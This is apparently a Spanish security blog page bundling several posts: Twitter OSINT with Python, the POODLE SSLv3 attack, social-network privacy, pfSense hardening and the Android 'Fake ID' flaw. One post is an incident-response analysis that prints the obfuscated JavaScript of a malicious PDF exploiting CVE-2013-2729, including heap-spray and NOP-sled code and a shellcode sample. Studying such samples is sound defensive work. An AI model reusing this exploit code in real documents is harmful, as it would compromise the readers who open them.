Security Art Work

El termino OSINT se refiere a “Open Source Intelligence” —Inteligencia de fuentes abiertas— y es cada vez más usado en las comunidades de inteligencia. Éste es favorecido principalmente por el auge de las redes sociales, una Internet cada vez mas repleta de información y nuestro escaso criterio a la hora de publicar contenido, —como en el ejemplo del tweet de las detenciones a presuntos miembros de ETA—. El concepto de fuentes abiertas se refiere a inteligencia (cuando hablamos de inteligencia nos referimos a información útil extraída de datos en crudo) que puede ser obtenida de medios públicos y de libre acceso.

Una vez que el lector tiene claro el concepto, tal vez no llegue a vislumbrar el impacto que puede tener, así que vamos a realizar un pequeño PoC que trate de recoger datos de una de las fuentes que más afluente de información tiene: Twitter, y a plasmar en una gráfica los resultados para tener una mejor visión de lo que hemos recogido.

Para esto —siguiendo con la serie— usaré Python, con los siguientes paquetes (en cursiva los que vienen por defecto y que no habrá que instalar):

tweepy
NLTK
json

Es recomendable que usemos para instalar los nuevos paquetes un virtualenv como ya explicamos en el artículo anterior de la serie. Veamos algunos conceptos y herramientas que serán de interés a lo largo del post y nos facilitarán la vida a la hora de obtener grandes cantidades de datos y procesarlos.

El primero de ellos es la API de Twitter. Para acceder a ésta actualmente tenemos tres métodos: el acceso a la API RESTfull, por streaming y el Firehose.

Con la API Firehose tendremos acceso a toda la información de twitter en tiempo real y sin restricciones. El acceso a esta API es de pago y con un precio muy elevado. Algunas empresas tienen acceso al Firehose y revenden el acceso a el en pequeñas porciones. Algunas de estas empresas son @gnip que fue comprada este año por twitter y @DataSift.

Para los que no nos podemos permitir el acceso a esta API nos queda el acceso a la RESTfull y la de streaming. La primera nos permite el acceso a la gestión de nuestra cuenta y recuperación de información pasada, está limitada a un determinado número de llamadas y el contador se resetea cada 15 minutos. La segunda opción se asemeja al Firehose exceptuando que solo podremos escuchar aplicando una serie de filtros y tan solo en el 1% de todo el caudal de datos. Aún a pesar de estas limitaciones, con un poco de ingenio y astucia se pueden hacer herramientas muy potentes sin tener que pagar por un pedacito de Firehose.

Dejemos eso ahí y pasemos ahora al NLTK: Natural Language Tool Kit. Éste, como su nombre indica, es un paquete o más bien una serie de herramientas que nos permitirán usar técnicas de procesamiento de lenguaje natural de una manera sencilla.

Para configurarlo —aunque no sea estrictamente necesario, nos servirá para jugar con este fantástico paquete— debemos abrir una consola y entrar en el REPL de python escribiendo simplemente python en la terminal. Cuando se abra el intérprete debemos importar el paquete e iniciar el asistente de descarga de utilidades.

import nltk
nltk.download()

Una vez que tenemos el prompt Downloader> pulsamos d y en el prompt Identifier> escribimos book. Cuando termine de descargarse repetimos el proceso con el package all-corpora y con esto ya dispondremos de literatura para jugar.

Siguiendo con los preliminares, siempre imprescindibles, veamos ahora qué es JSON y como manipularlo con Python. JSON, acrónimo de JavaScript Object Notation, es un lenguaje que sirve para expresar estructuras de datos con mucha eficiencia y simpleza. La API de Twitter nos devolverá toda la información estructurada en JSON.

Para manipular estructuras JSON, python nos provee del paquete json que nuevamente lo tendremos disponible en nuestro script mediante un import import json. Para evitar importar todo el paquete, es recomendable importar tan solo los módulos que necesitemos, como:

from json import loads
from json import dumps

Así a la hora de cargar un string que represente una estructura JSON e imprimir el resultado solo tendremos que hacer lo siguiente:

dataStr = "{'foo': 'bar'}"
dataDict = loads(dataStr)
print('{0}'.format(dumps(dataDict, indent=3)))

En la siguiente parte de esta serie, crearemos una aplicación nueva en Twitter, y continuaremos trabajando para poder obtener y gestionar datos de Twitter. Manténganse a la espera.

En Seguridad se utiliza habitualmente el símil de la cadena y el eslabón más débil; ese que dice que la fortaleza de una cadena reside en el eslabón más débil, de forma que por mucha seguridad que se implante en algunos de los sistemas de la infraestructura, todo se puede venir abajo si en algún sistema no se tiene la precaución de seguir las mínimas medidas de seguridad. Resulta que aquel sistema que se encuentra olvidado o se cree que no es importante y en el que no se cumple con las mismas políticas de seguridad puede convertirse en la puerta de entrada para un atacante a toda vuestra infraestructura.

Esta situación ocurre más a menudo de lo que pensamos, especialmente en infraestructuras medianas o grandes, donde siempre hay algún sistema que en su momento fue una prueba, o se trata de un sistema poco utilizado que quien lo administra ya no se encuentra en la organización…

Por muchos motivos un sistema puede quedar desactualizado y olvidado. También puede ocurrir que por los mismos motivos, no se cumpla con la política de seguridad de la organización (si es que se tiene alguna) y no se sigan las recomendaciones de seguridad porque “ya las aplicaremos cuando el sistema pase a producción…” contando con sistemas con credenciales por defecto o contraseñas débiles y fáciles de adivinar con ataques de diccionario. En ocasiones las credenciales de administración no se incluyen en las políticas de claves generales, son compartidas por todo el equipo de Sistemas y son más fáciles de adivinar de lo que se piensa.

[Read more…]

Si recordamos el último post (primera parte y segunda parte), teníamos un PDF malicioso del que queríamos extraer el shellcode. Tenemos el JavaScript pero no parece que esté completo, por lo que tenemos que seguir analizando el código.

Vamos a fijarnos en este código nativo de Adobe:

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

Si miramos la referencia de JavaScript de Adobe, la función xfa.resolve permite el acceso a objetos. Y con el método rawValue le estás pidiendo al valor tal cual en bruto de esa variable. Esto… ¿no habíamos dicho que las imágenes no servían para nada?

[Read more…]

Lo prometido es deuda. Nunca publicamos dos posts el mismo día, pero tampoco se publican dos 0-day el mismo día.

En este caso, se trata de una vulnerabilidad crítica en SSLv3 (Secure Sockets Layer) que ha sido descubierta por el equipo de seguridad de Google y bautizada con el nombre de Poodle: Padding Oracle On Downgraded Legacy Encryption. No nos los pregunten. No sabemos si les gustó “Poodle” y buscaron una frase que le pegase, o salió así juntando las siglas. Este protocolo, que tiene más de 15 años y está ya obsoleto, solía utilizarse para securizar las comunicaciones SSL y fue reemplazado por TLS. Sin embargo, y aquí viene la gracia, por cuestiones de retrocompatibilidad la opción de hacer uso del SSL sigue estando disponible.

¿En qué consiste el ataque? Un hacker que consigue interceptar el tráfico enviado en SSL 3.0 entre un cliente y un servidor (por ejemplo, a través de un ataque de tipo MitM por ejemplo o gracias a un punto de acceso Wi-Fi malicioso), podría lograr descifrar y recuperar información crítica como las cookies de sesión.

[Read more…]

Leyendo noticias sobre actualidad TIC he encontrado tres artículos que me han llamado la atención y me han hecho pensar sobre el futuro próximo de nuestras redes sociales (y casi de nuestra vida, por extensión). Vamos a comentarlos brevemente.

Todos los que utilizamos las redes sociales de manera habitual, por no decir cada día, somos conscientes de que estamos compartiendo y publicando parte de nuestra información privada. Cada cual puede elegir la cantidad y el tipo de información que publica y hasta cierto punto, quién tiene acceso (a priori) a ésta. Sin embargo, debemos recordar que además de la gente con la que nosotros decidimos compartir nuestra información, también están los sistemas y algoritmos de la propia red social. Que incorporan más inteligencia, asociación de datos y correlación de información de la que podamos pensar e imaginar. Más, mucha más.

En nuestro primer artículo, parece ser que uno de los proyectos en los que está trabajando Facebook para que lo utilicemos como parte de nuestro perfil es un sistema de pago entre particulares que utilicen la red social. Para eso, será necesario asociar nuestra información bancaria (una tarjeta de débito, por ejemplo) a nuestro perfil. Y aquí, la pregunta es: ¿es este servicio necesario o útil? Si quiero prestarle dinero a un amigo o conocido mío, existen muchos métodos alternativos para hacerle llegar dinero sin tener que utilizar mi perfil de Facebook.

Sin necesidad de complicarnos la vida, ahora imaginemos la siguiente situación: una persona que ha decidido utilizar este sistema de pago de Facebook, inicia sesión en un ordenador de uso compartido, como puede ser un cibercafé, una biblioteca o un hotel. Por despiste o desconocimiento, no cierra sesión cuando deja libre el ordenador. ¿Cuáles serían las posibles consecuencias de esta acción? La siguiente persona que use este equipo, no sólo podrá tener acceso a toda su información personal sino que también podrá hacer uso de su dinero a través de esta aplicación. En este posible escenario, se me ocurren una cuantas “bromas pesadas” que podríamos hacerle al usuario despistado.

El siguiente artículo habla sobre la creación de una aplicación por parte de Facebook que nos permitirá recibir asistencia sanitaria o consultar comunidades sobre nuestros problemas de salud (tranquilos, no es el momento de entrar en temas de la LOPD, sobre los que habría mucho que decir). Aunque en un principio todo apunta a que esta aplicación no estará integrada dentro de la red social, al final estamos cediendo nuestros datos a la misma empresa (que por supuestísimo, disociarán los datos de nuestro perfil de nuestros datos de salud de modo que nadie, nunca, de ningún modo, pueda relacionar esa información… ¿nos siguen?). En los últimos tiempos, este tipo de aplicaciones (que no decimos que no tengan una cierta utilidad, bien controladas y en el ámbito correcto) se están popularizando y existen ya productos relacionados con nuestra salud y mejorar nuestros hábitos. La cuestión es: ¿queremos publicar nuestros problemas de salud? ¿Estamos seguros de querer que una red social (una empresa), tenga conocimiento sobre nuestras dolencias o preocupaciones? De nuevo, ¿es necesario?

Por último, otro artículo nos cuenta que a través de un estudio independiente se ha concluido que las personas que publican más en Facebook (y extrapolando, podemos asumir que en cualquier red social en general), son más inestables que las que no lo hacen con tanta frecuencia. Antes de que corran a examinar su Facebook/Twitter/Instagram/Google+/etc. a mirarse el ombligo, no se crean todo lo que lean. También es relevante recordar que hace unos meses se desveló que Facebook llevó a cabo un experimento psicológico con algo más de medio millón de usuarios. Como vemos, nuestra actividad en las redes sociales dice mucho de nosotros (y si piensan que muchos estamos continuamente registrados en Google mientras navegamos, quizá quieran cancelar sus cuentas digitales y emigrar al monte a comer musgo).

A estas alturas, a algunos quizá les parezca de perogrullo, pero nunca viene mal recordar que nuestra información privada es valiosa para las empresas. Que la utilizan, la gestionan, la explotan, la cruzan, la refinan, la analizan, la intercambian y llegado el caso y para el bien de nuestros servicios, la ceden a otras compañías (del grupo, claro). Y si tenemos suerte, la filtran, la pierden y acaba en 4Chan. Todo ello, para realizar estudios de mercado sobre tendencias, para personalizar la publicidad que aparece en nuestro navegador, para acceder a nuestros contactos y cualquier otra cosa que se les ocurra. Cuanto más privada y sensible sea la información que les proporcionamos, más valor tiene para ellos.

Lo más o menos sorprendente de todo es que, aunque ahora nos pueda parecer una barbaridad y nos rasguemos las vestiduras, al final de la película ya verán como acabamos introduciendo nuestros datos de salud en Facebook, nuestros datos financieros en Facebook Messenger y si se da el caso, seremos los primeros en apuntarnos a experimentos o estudios sobre nuestro comportamiento digital. No se apresuren demasiado a tacharse de esa suposición.

Si recapitulamos y hacemos una puesta en común de estos tres artículos, podemos concluir que en un futuro próximo sólo con la información que las redes sociales tendrán sobre nosotros, sabrán nuestros movimientos financieros, nuestros problemas de salud y sin duda alguna nos podrán psicoanalizar. Porque sabrán qué medicación tomamos, qué webs visitamos, qué intereses tenemos, con qué frecuencia y desde dónde publicamos, qué relaciones tenemos y con qué frecuencia nos comunicamos, qué tipo de trabajo tenemos y el dinero que nos permitimos gastarnos al mes. Dejen volar su imaginación. Nos conocerán mejor que nuestras respectivas parejas y también mejor que nosotros mismos. ¿Queremos tener ese nivel de intimidad con un montón de algoritmos que no conocemos en persona?

Aunque bien visto, todo esto que les hemos contado, ¿no es ya una realidad? Es más, probablemente sea peor de lo que piensan. Bienvenidos a Internet.

(N.d.E. Artículo elaborado en colaboración con Manuel Benet).

Hace unos días, a través de la cuenta de Twitter de @securityartwork lanzamos la iniciativa de intentar recopilar un listado de novelas o relatos relacionados con el mundo de la ciberseguridad, pidiendo a sus seguidores que hiciesen sus recomendaciones literarias twiteando con el hashtag #novelaseguridad.

El recopilatorio resultó de lo más interesante:

Probablemente falten muchos títulos interesantes, pero para comenzar es un listado de lo más apetecible para el que le interese este tipo de género. Si queréis hacer vuestra aportación al listado os invitamos a que lo tuiteeis con el hashtag #novelaseguridad o bien lo añadáis en comentarios del post, e iremos actualizando la lista.

Y ahora, ¿cuál es el siguiente qué vais a leer?

Resumiendo el artículo anterior: tenemos un PDF malicioso que explota la vulnerabilidad CVE-2013-2729, con un código JavaScript ofuscado del que queremos extraer el dominio contra el que se conecta. ¡Manos a la obra!

Si limpiamos las 3 imágenes y el código propio del objeto PDF, el resultado es un fichero de 180 líneas de JavaScript con 4 scripts, 4 funciones y 49 variables. Lo primero que tenemos que hacer es “arreglar” el código ya que los símbolos de “<>&” están codificados como “&lt;&gt;&amp;”
respectivamente.

En segundo lugar, lo que podemos hacer para aclarar el código es dejar un solo bloque de código en JavaScript eliminando todas las etiquetas de <script></script>, con cuidado de reemplazar los nombres de los script en las variables a las que llaman.

Y para favorecer la legibilidad, podemos mover todas las funciones al principio del código (eso sí, vigilando que la reordenación no afecte a la coherencia del código). De esta forma nos quedamos con 170 líneas de “código spaguetti”:

function sRi(x) { 
var s = []; 
var z = hCS(j3); 
       z = hCS(pg); 
       var ar = hCS("[" + z + "]"); 

       for (var i = 0; i < ar.length; i ++) { 
       var j = ar[i]; 
      		if ((j >= 33) && (j <= 126) { 
     s[i] = String.fromCharCode(33 + ((j + 14) % 94)); 
               } 
               else { 
                    s[i] = String.fromCharCode(j); 
               } 
       } 
       return s.join(''); 
} 
         
function mvA8H(x){ 
        return G6G(x); 
} 

function qmE(uindex, param1, param2) { 
switch (uindex) { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
} 
} 

function DwTo(a, b, c, d){ 
var x = form2.Text10.name; 
       var y = this[a]; 
       x = x + '3'; 
       return y; 
} 

var K7r1 = ""; 
var pl27 = ""; 
var PE = [0x30,0x74,0x67,0x72,0x6E,0x63,0x65,0x67, 1, 10, 40]; 
var X0n = ""; 
var aMr = "3t3in33f3o33ha"+ "r3o3ee3a3u3es3a3e"; 
var upd = "Srg.rmCCdvlncp"; 
var upd0 = ""; 
var ii = 0; 

for (var i=0; i < aMr.length; i++) { 
if(aMr[i] == "3") 
       upd0 += upd[ii++]; 
       else 
       upd0 += aMr[i]; 
} 

var xyz1 = upd0.slice(19,23); 
var hCS = DwTo.call(xyz1,xyz1); 
var m7cZT = hCS(upd0.slice(23)); 
var p1 = "(\/[^\\/"; 

for(var q = 0; q < PE.length-3; q++) 
X0n += String.fromCharCode(PE[q]-2); 

var p2 = "(\/[\\/"; 
var j3 = "x" + X0n + p1 + "\\d]\/g,'')"; 
var pg = "z" + X0n + p2 + "]\/g,',')"; 

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

var cqTt=0x12e; 
var e5 = 200; 
var yuc6m = 0; 
var xSzh = new Array(e5); 
var CE = new Array(e5); 
var e2QBU = new Array(e5); 
var tA1lG = new Array(e5/2); 
var i; var j; 

if (yuc6m == 0){ 
var vKQ = "\u5858\u5858\u5678\u1234"; 
       var Vn1e = cqTt/2-1-(vKQ.length+2+2); 

for (i=0; i < e5; i+=1) 
            xSzh[i] = vKQ + qmE(1,i) + 
            K7r1.substring(0, Vn1e) + 
            qmE(1,i) + ""; 

       for (j=0; j < 1000; j++) 
       		for (i=e5-1; i > e5/4; i-=10) 
                     xSzh[i]=null; 
       yuc6m = 1; 
} 
 
var i; var j; 
var hZ = -1; 
var Fs = 0; 
var sD = app.viewerVersion.toFixed(3); 
var He = sD.split("."); 
var lCCR = parseInt(He[0]); 
var JTI = (He.length > 1)  ? parseInt(He[1]) : 0; 

if(He.length > 1) { 
JTI = parseInt(He[1]); 
       if(He[1].length == 1)  JTI *= 100; 
} 
else 
JTI = 0; 

var tc1 = "aNNNcNroNNrNdN3NNN2"; 
var Nvpdy = m7cZT(pl27); 
var zYo = Nvpdy[0] + qmE(1,(JTI << 16) | lCCR) + Nvpdy.substring(3); 
var lHE0 = lCCR >= 11 ? 16 : 14; 

for (i=0; i < e5; i+=1) 
if ((xSzh[i]!=null)  && (xSzh[i][0] != "\u5858")){ 
       hZ = i; 
              NS = Fs = (qmE(2,xSzh[i], lHE0) >> 16); 
              Fs = (NS - mvA8H(tc1.replace(/N/g,""))) << 16; 
              break; 
       } 

       if (hZ == -1){ 
               event.target.closeDoc(true); 
       } 

var UqO = ""; 
var h7o = 0x10101000; 
 
if (lCCR < 11) { 
for (i=0; i < 7; i+=1) 
               UqO += qmE(1,0x30303030+0x11111111); 
} 

UqO += qmE(1,h7o); 

while (UqO.length < cqTt/2) 
UqO += qmE(1,0x47474747+0x11111111); 

for (j=0; j < 10000; j++) 
xSzh[hZ-1]=xSzh[hZ]=null; 

for (i=0; i < e5; i+=1){ 
ID = "" + i; 
       CE[i] = UqO.substring(0,cqTt/2-ID.length) + ID+ ""; 
} 

var or = h7o; 
var DA = ""; 

hCS(sRi(xfa.resolveNode("Image20").rawValue)); 

Como ya comentamos, este tipo de malware suele actuar como dropper, siendo su única función explotar la vulnerabilidad y ejecutar un shellcode (que será el que se conecte a Internet y se descargue el malware real). De esta forma se aseguran de que el malware “pata negra” no esté tan al alcance de los analistas (ya contaremos en otro post la de perrerías que hacen los “malos”).

Si seguimos las fases de la respuesta ante incidentes, ya hemos realizado la detección, por lo que ahora estamos en la fase de contención. Para ello necesitamos obtener los dominios o IP a las que se va a intentar conectar el malware, que están contenidas dentro del shellcode. Resumiendo: nuestro objetivo primario es el shellcode.

Un shellcode standard suele tener un aspecto similar a este (ojo con la codificación en Unicode):

\u06eb\u0000\u0000\u05eb\uf9e8\uffff\u5aff\uc283\u8718\u8bd6\u33fe\u66c9\ue0b9\ufc01\u35ad

repetido unas cuantas veces.

Si nos fijamos en el código vemos que el creador del malware ha sido listo y no nos lo ha dejado a simple vista, por lo que tendremos que trabajar un poco para conseguirlo. Sí que puede parecer interesante esta línea de código:

var vKQ = "\u5858\u5858\u5678\u1234"; 

pero es demasiado corta para contener el shellcode. De todas formas ojeamos el código y comprobamos que aunque se genera una string en Unicode, no es algo que nos sea útil.

Si seguimos mirando cosas interesantes, encontramos estas dos líneas:

UqO += qmE(1,0x30303030+0x11111111); 
UqO += qmE(1,0x47474747+0x11111111); 

Que nos generan unos cuantos 0x41 y 0x48. ¿Y para qué sirven?.

Cuando estamos generando shellcode para crear un exploit, una parte fundamental es el NOP sled (lo que usa el exploit para colocarse en la posición de memoria deseada para “enchufar” el buffer overflow). El NOP (No Operation, no hagas nada) se representa en hexadecimal como 0x90, y tener unos cuantos seguidos en cualquier documento son garantías casi segura de que puede tener “premio”.

Sin embargo, hay otras formas de generar equivalentes al NOP a base de añadir y restar valores a los registros, como podemos ver en esta tabla:

OP Code        Hex       ASCII
inc eax        0x40        @
inc ebx        0x43        C
inc ecx        0x41        A
inc edx        0x42        B
dec eax        0x48        H
dec ebx        0x4B        K
dec ecx        0x49        I
dec edx        0x4A        J

Una buena teoría es que ahí puede estar el NOP sled. Sin embargo, nosotros queremos el shellcode, por lo que tenemos que seguir buscando.

Si examinamos las funciones, podemos ver algo curioso:

function qmE(uindex, param1, param2) { 
                switch (uindex) 
                { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
                } 
} 

La función qmE es usada en abundancia en el código, y llama a las funciones pack y unpacAt … que no están en ninguna otra parte del código. ¿Puede ser que el “malo” haya sido tan torpe de dejarse un trozo del código y que no funcione? Cosas más raras hemos visto, pero en este momento la paranoia manda y hay que seguir tirando del hilo.

En algún lado tienen que estar esas funciones de pack… y lo veremos en el siguiente post (y último, no vamos a ser como George R.R Martin en Juego de Tronos).

En esta tercera parte de la serie sobre el firewall perimetral PFSense vamos a ver las configuraciones avanzadas del sistema. Para nos que no han seguido la serie, aquí tienen la primera entrada y la segunda.

La manera más habitual de acceder a estas configuraciones es a través del navegador. Es importante que al acceder al navegador lo hagamos de manera segura (por https), para ello ya existe un certificado creado por defecto en nuestro pfsense, pero es recomendable que nos creemos uno nosotros, para ello se accede al siguiente bloque:

   system –> cert manage

En esta pestaña CAs crearemos primero la CA, llamada “my_cert”

Ahora con esta CA podemos crear un certificado llamado “mycert”, en la pestaña Certificates:

Con el certificado ya creado, lo podemos usar en las configuraciones de acceso de administrador:

   system -> advanced -> admin access

En la sección web configurator elegimos protocolo https, mi certificado (“mycert”) y un puerto diferente al 443, por ejemplo 10443.

• Max processes pondremos un valor de 1, ya que solo queremos que a la configuración vía https acceda una sola persona a la vez.
• WebGUI redirect debe estar marcado para deshabilitar la escucha por el puerto 80, a la vez que escucha por el 10443, ya que solo se quiere acceso exclusivo por https.
• WebGUI Login Autocomplete se selecciona para deshabilitar el autocompletado por parte del navegador ya que es preferible que éste no guarde las credenciales por seguridad.

Las demás opciones se dejan por defecto.

Ahora una vez guardados los cambios ya se puede acceder al navegador con la URL https://192.168.1.2:10443/

Sección secure shell

Activamos el acceso por ssh a través del puerto 10022

Sección Serial communications y console options

En Console menú seleccionamos la opción de que pida password al acceder a la consola y configuración desde el equipo local (serán las mismas credenciales que usamos para acceder con el navegador). Para configurar las opciones del Firewall y NAT accedemos al siguiente bloque:

   system -> advanced -> Firewall NAT

Sección Firewall Advanced

Existen 4 tipos de optimización:

• Normal: optimización equilibrada.
• Alta latencia: para conexiones lentas, como las satelitales.
• Agresiva: las conexiones inactivas expiran más rápido, mayor eficiencia en el uso de CPU.
• Conservativa: más uso de CPU con el fin de alargar una conexión inactiva.

También se pueden configurar el tamaño de las tablas del sistema:

• Firewall Maximum States: número máximo de conexiones en la tabla del firewall. Digamos que es como un netstat de la propia máquina, por defecto el tamaño máximo es de 10000 estados. En este caso ya depende mucho del entorno donde se va a usar, si es algo casero lo ponemos a 4000 para optimizar.
• Firewall Maximum Tables: máximo número de tablas posibles (en pfsense se usan tablas, para crear alias, snort, reglas del firewall…). Por defecto el valor es de 3000 tablas, pero para optimizar, se puede poner 500, ya que no llegaremos a muchas más.
• Firewall Maximum Table Entries. Por defecto viene con 20000 y lo ponemos a 10000. Es el número de entradas por cada tabla que antes hemos comentado.

Las demás opciones definen el comportamiento multiwan o la generación de auto reglas de filtrado del firewall a la hora de configurar una VPN o red privada virtual.

De momento se dejan las demás opciones por defecto.

En la sección NAT, también se puede agregar la generación automática para la traducción de direcciones de red de forma automática, según las reglas creadas en el firewall, pero se recomienda hacer después de forma manual.

En el bloque system -> advanced -> networking no tocamos nada, a no ser que exista incompatibilidad con alguna interfaz de red.

En el bloque system -> advanced -> miscellaneous es donde podemos configurar la conexión de nuestro pfsense con un proxy, el balanceo de carga, sensores de temperatura y cómo actuar según ésta, ahorros de energía, disminuyendo usos de CPU, opciones IPsec, así como usar parte de la memoria física para emularse como memoria RAM. Estas opciones no son demasiado importantes así que no se detallarán.

En el bloque system -> advanced -> notifications podemos hacer que las notificaciones nos lleguen por correo, via SMTP.

Hasta aquí se explican las opciones avanzadas del sistema. El próximo articulo estará relacionado con la creación de reglas de filtrado del firewall pfsense.

Hace algunas semanas el equipo de Bluebox hizo pública una vulnerabilidad en la verificación de las firmas que permite falsear la autenticidad de una aplicación Android. Cuando instalamos una aplicación, a no ser que hayamos modificado manualmente las preferencias de verificación de aplicaciones, Android comprueba que las aplicaciones hayan sido firmadas digitalmente por una entidad de confianza y en esto basa su sistema de seguridad.

Lo que supone esta vulnerabilidad, conocida como ‘Fake ID’ y que afecta a terminales con Android desde su versión 2.1 a la versión 4.3 (Google solucionó el problema en Kit Kat, Android 4.4), es que se puede coger una aplicación legítima, cuyo funcionamiento requiera, por ejemplo, tener acceso a los servicios de ĺocalización, añadirle código malintencionado que provoque el envío de esta información al atacante y que todo esto sea transparente para el usuario. Pueden ver los detalles técnicos en cualquiera de los enlaces o en multitud de información presente en Internet.

Veamos un ejemplo. Consideremos por ejemplo que un usuario tiene dos cuentas del banco: una de ahorro y otra para el pago online con tarjeta. Asumamos que todas las operaciones bancarias las realiza desde un ordenador del que tiene la certeza que está limpio de cualquier tipo de malware, que utiliza contraseñas robustas y que no se conecta a ninguna red wifi en la cual no tenga una confianza absoluta.

Pero llega un día en el que quiere instalarse una aplicación que, por ejemplo, ‘mejora el rendimiento de la batería’ (muy típico en smartphones). Supongamos que esa aplicación es de pago, pero por tacañeria, el usuario prefiere descargarla de un blog que la ofrece ¡GRATIS! y la instala sin más.

Hasta aquí todo bien. Vamos a alejarnos de la situación y veamos qué puede haber sucedido, sin entrar en los detalles técnicos.

Un tercero malintencionado ha creado un clon de una aplicación muy popular que además de simular que mejora el rendimiento, captura credenciales de acceso aprovechando la vulnerabilidad ‘Fake ID’. Al instalar la aplicación, pese a tener activadas todas las opciones de seguridad, ésta se instala como si se tratase de la original. Dado que la firma asociada a la misma ha sido falsificada, a ojos del Sistema Operativo todas las comprobaciones de seguridad son correctas.

Llegados a este punto lo mejor que nos puede pasar es que seamos famosos y el atacante solo esté interesado en publicar nuestras fotos, pero como probablemente no sea el caso, quizá el atacante esté más interesado en conseguir nuestras credenciales bancarias para venderlas al mejor postor u obtener ingresos directamente (aunque no es lo más común). En cualquier caso, hemos dicho que nuestro usuario tiene más o menos controlado su dinero por lo que quizá este punto no sea el más relevante. ¿Qué más podría pasar?

El atacante obtiene las rutinas de movimientos de cada uno de los infectados, ya sea mediante la recuperación de datos directamente del teléfono o directamente consultando a google la ubicación del dispositivo en tiempo real (https://www.google.com/android/devicemanager). Con esto, un poquito de aquí y un poquito de allá, genera una base de datos y la vende a unos educados amigos de lo ajeno para que puedan acceder a la residencia de nuestro afectado sin molestarle a la hora de la comida

Seguro que a más de un lector se le ocurren otras maldades que hacerle a nuestro tacaño usuario. Dejamos eso como ejercicio de creatividad.

La cuestión es que a nadie se le escapa que los smartphones se están convirtiendo en el ‘centro neurálgico’ de la información de un sector muy significativo de la sociedad; ya sea a través de las aplicaciones de acceso a los bancos o la tecnología NFC para el pago mediante el teléfono móvil. Dejando de lado las redes sociales, contactos personales y profesionales, correo electrónico, etc. Tampoco es noticia decir que los antivirus para smartphones son (en general) más útiles vaciando baterías y reduciendo el rendimiento del terminal que protegiendo los datos.

Entonces, ¿de qué nos sirve tener el ordenador (que cada vez utilizamos menos) protegido tras un muro de hormigón si luego nuestras credenciales van a estar duplicadas en nuestros teléfonos móviles con una protección significativamente menor? Es más, ¿saben que la vulnerabilidad ‘Fake ID’ llevaba dando vueltas desde Android 2.1, allá por el 2010? ¿Está evolucionando la seguridad en smartphones a la misma velocidad que su implantación y la importancia de la información que manejan? Se abren las apuestas.

En la próxima entrada veremos la detección y control de fugas de información de nuestros dispositivos móviles.